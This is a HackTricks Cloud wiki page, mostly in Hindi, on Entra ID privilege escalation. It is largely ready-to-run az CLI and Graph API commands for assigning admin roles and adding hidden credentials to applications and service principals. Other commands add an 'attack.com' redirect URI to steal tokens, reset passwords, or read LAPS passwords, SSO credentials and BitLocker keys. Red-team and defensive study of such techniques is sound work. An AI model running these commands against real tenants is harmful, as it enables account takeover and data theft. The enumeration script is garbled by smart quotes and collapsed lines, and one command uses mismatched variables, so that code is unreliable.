Az - EntraID Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Note
ध्यान दें कि Entra ID में बिल्ट-इन रोल्स के पास मौजूद सभी सूक्ष्म अनुमतियाँ कस्टम रोल्स में उपयोग के लिए योग्य नहीं होतीं।
भूमिकाएँ
Role: Privileged Role Administrator
यह भूमिका आवश्यक सूक्ष्म अनुमतियाँ रखती है ताकि principals को roles असाइन किए जा सकें और roles को अधिक अनुमतियाँ दी जा सकें। दोनों क्रियाओं का दुरुपयोग करके privileges escalate किए जा सकते हैं।
- किसी user को role असाइन करना:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- एक role में और अधिक permissions जोड़ें:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
एप्लिकेशन
microsoft.directory/applications/credentials/update
यह हमलावर को मौजूदा एप्लिकेशन में add credentials (passwords or certificates) जोड़ने की अनुमति देता है। यदि उस एप्लिकेशन के पास privileged permissions हैं, तो हमलावर उस एप्लिकेशन के रूप में authenticate कर सकता है और उन privileges हासिल कर सकता है।
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
यह applications/credentials/update के समान ही क्रियाएँ करने की अनुमति देता है, लेकिन केवल single-directory applications तक सीमित है।
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
खुद को owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, जिसमें credentials और permissions शामिल हैं।
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
एक हमलावर उन applications में एक redirect URI जोड़ सकता है जिनका उपयोग tenant के users कर रहे हैं, और फिर उनके साथ ऐसे login URLs साझा कर सकता है जो नए redirect URL का उपयोग करते हैं ताकि उनके tokens चोरी किए जा सकें। ध्यान दें कि यदि user पहले से ही application में logged in है, तो authentication स्वतः हो जाएगा और user को कुछ भी accept करने की आवश्यकता नहीं होगी।
ध्यान दें कि application द्वारा request की जाने वाली permissions को भी बदला जा सकता है ताकि अधिक permissions प्राप्त की जा सकें, लेकिन इस मामले में user को सभी permissions मांगने वाले prompt को फिर से accept करना होगा।
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
एप्लिकेशन Privilege Escalation
जैसा कि this post में समझाया गया है यह बहुत आम था कि डिफ़ॉल्ट applications को API permissions प्रकार Application के रूप में असाइन किया गया हो। An API Permission (जैसा कि Entra ID console में कहा जाता है) प्रकार Application का मतलब है कि application बिना user context (बिना किसी user के app में login किए) API तक पहुंच सकती है और actions कर सकती है, और इसे Entra ID roles की अनुमति की आवश्यकता नहीं होती। इसलिए, हर Entra ID tenant में high privileged applications मिलना बहुत आम है।
यदि attacker के पास कोई भी permission/role है जो application के update the credentials (secret o certificate) of the application की अनुमति देता है, तो attacker एक नया credential जनरेट कर सकता है और फिर उसे उपयोग करके authenticate as the application कर सकता है, और application के सभी permissions हासिल कर लेगा।
ध्यान दें कि उल्लेखित ब्लॉग कुछ सामान्य Microsoft डिफ़ॉल्ट applications की API permissions साझा करता है, हालांकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस मुद्दे को ठीक कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। फिर भी, उच्च privileges वाले custom applications मिलना संभव है जिनका दुरुपयोग किया जा सकता है।
एक application की API permissions को enumerate कैसे करें:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
सभी एप्लिकेशनों की API अनुमतियाँ खोजें और Microsoft-स्वामित्व वाली APIs को चिह्नित करें
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि उस service principal के पास elevated privileges हैं, तो attacker वे privileges assume कर सकता है।
```bash
az ad sp credential reset --id <sp-id> --append
Caution
नया जनरेट किया गया पासवर्ड वेब कंसोल में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक छिपा तरीका हो सकता है.
From the API they can be found with:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
यदि आपको यह त्रुटि मिले "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." तो इसका कारण यह है कि SP के passwordCredentials property में संशोधन करना संभव नहीं है और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक permission (microsoft.directory/applications/allProperties/update) चाहिए जो आपको निष्पादित करने की अनुमति देता है:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है।
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
applications के समान, यह permission service principal में और owners जोड़ने की अनुमति देता है। किसी service principal का owner होने से उसके credentials और permissions पर नियंत्रण मिलता है।
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method समर्थित नहीं है, भले ही यही method है जिसे owner को हटाने के लिए इस्तेमाल करना पड़ता है। तो आप अब owners को हटा नहीं सकते।
microsoft.directory/servicePrincipals/disable and enable
ये permissions service principals को disable और enable करने की अनुमति देते हैं। एक attacker इस permission का इस्तेमाल करके किसी service principal को enable कर सकता है जिसका उसे किसी तरह access मिल गया हो, और फिर privileges escalate कर सकता है।
ध्यान दें कि इस technique के लिए attacker को enabled service principal को takeover करने के लिए और भी permissions की आवश्यकता होगी।
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
ये permissions single sign-on के लिए credentials बनाने और प्राप्त करने की अनुमति देते हैं, जो third-party applications तक पहुँच की अनुमति दे सकते हैं।
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
समूह
microsoft.directory/groups/allProperties/update
यह अनुमति उपयोगकर्ताओं को विशेषाधिकार प्राप्त समूहों में जोड़ने की अनुमति देती है, जिससे privilege escalation हो सकता है।
az ad group member add --group <GroupName> --member-id <UserId>
नोट: यह अनुमति Entra ID role-assignable groups को छोड़ती है।
microsoft.directory/groups/owners/update
यह अनुमति उपयोगकर्ता को समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, जिससे संभावित रूप से समूह पर privileges escalate किए जा सकते हैं।
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
ध्यान दें: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
microsoft.directory/groups/members/update
यह अनुमति किसी समूह में सदस्यों को जोड़ने की अनुमति देती है। एक attacker खुद को या malicious accounts को privileged groups में जोड़ सकता है, जिससे elevated access मिल सकता है।
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
यह अनुमति किसी डायनेमिक समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर डायनेमिक नियमों को संशोधित करके बिना स्पष्ट रूप से जोड़े जाने के अपने आप को विशेषाधिकार प्राप्त समूहों में शामिल कर सकता है।
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note: यह permission Entra ID role-assignable groups में शामिल नहीं है।
Dynamic Groups Privesc
यह संभव हो सकता है कि उपयोगकर्ता अपनी properties संशोधित करके खुद को dynamic groups के सदस्य के रूप में जोड़वाकर privileges escalate कर सकें। अधिक जानकारी के लिए देखें:
Users
microsoft.directory/users/password/update
यह permission non-admin users का पासवर्ड रीसेट करने की अनुमति देता है, जिससे एक संभावित attacker अन्य users पर privileges escalate कर सकता है। यह permission custom roles को असाइन नहीं किया जा सकता।
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
यह विशेषाधिकार उपयोगकर्ता की properties संशोधित करने की अनुमति देता है। अक्सर ऐसे dynamic groups मिलते हैं जो उपयोगकर्ताओं को उनके properties के मानों के आधार पर जोड़ते हैं; इसलिए यह permission किसी उपयोगकर्ता को आवश्यक property value सेट करने की अनुमति दे सकता है ताकि वह किसी specific dynamic group का सदस्य बनकर विशेषाधिकार बढ़ा सके।
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
गलत कॉन्फ़िगर की गई conditional access policies जिनके लिए MFA आवश्यक है, bypass की जा सकती हैं, देखें:
Az - Conditional Access Policies & MFA Bypass
डिवाइस
microsoft.directory/devices/registeredOwners/update
यह अनुमति हमलावरों को खुद को डिवाइसों के मालिक के रूप में असाइन करने की अनुमति देती है, ताकि वे डिवाइस-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें।
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
यह अनुमति attackers को अपने अकाउंट को डिवाइसों से जोड़कर access प्राप्त करने या security policies को bypass करने की सुविधा देती है।
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
यह अनुमति हमलावरों को Microsoft Entra joined devices के लिए बैकअप किए गए local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password भी शामिल है।
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
यह अनुमति BitLocker keys तक पहुँचने की अनुमति देती है, जो किसी हमलावर को ड्राइव्स को डिक्रिप्ट करने में सक्षम बना सकती है, और इससे डेटा की गोपनीयता का उल्लंघन हो सकता है।
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
अन्य दिलचस्प permissions (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

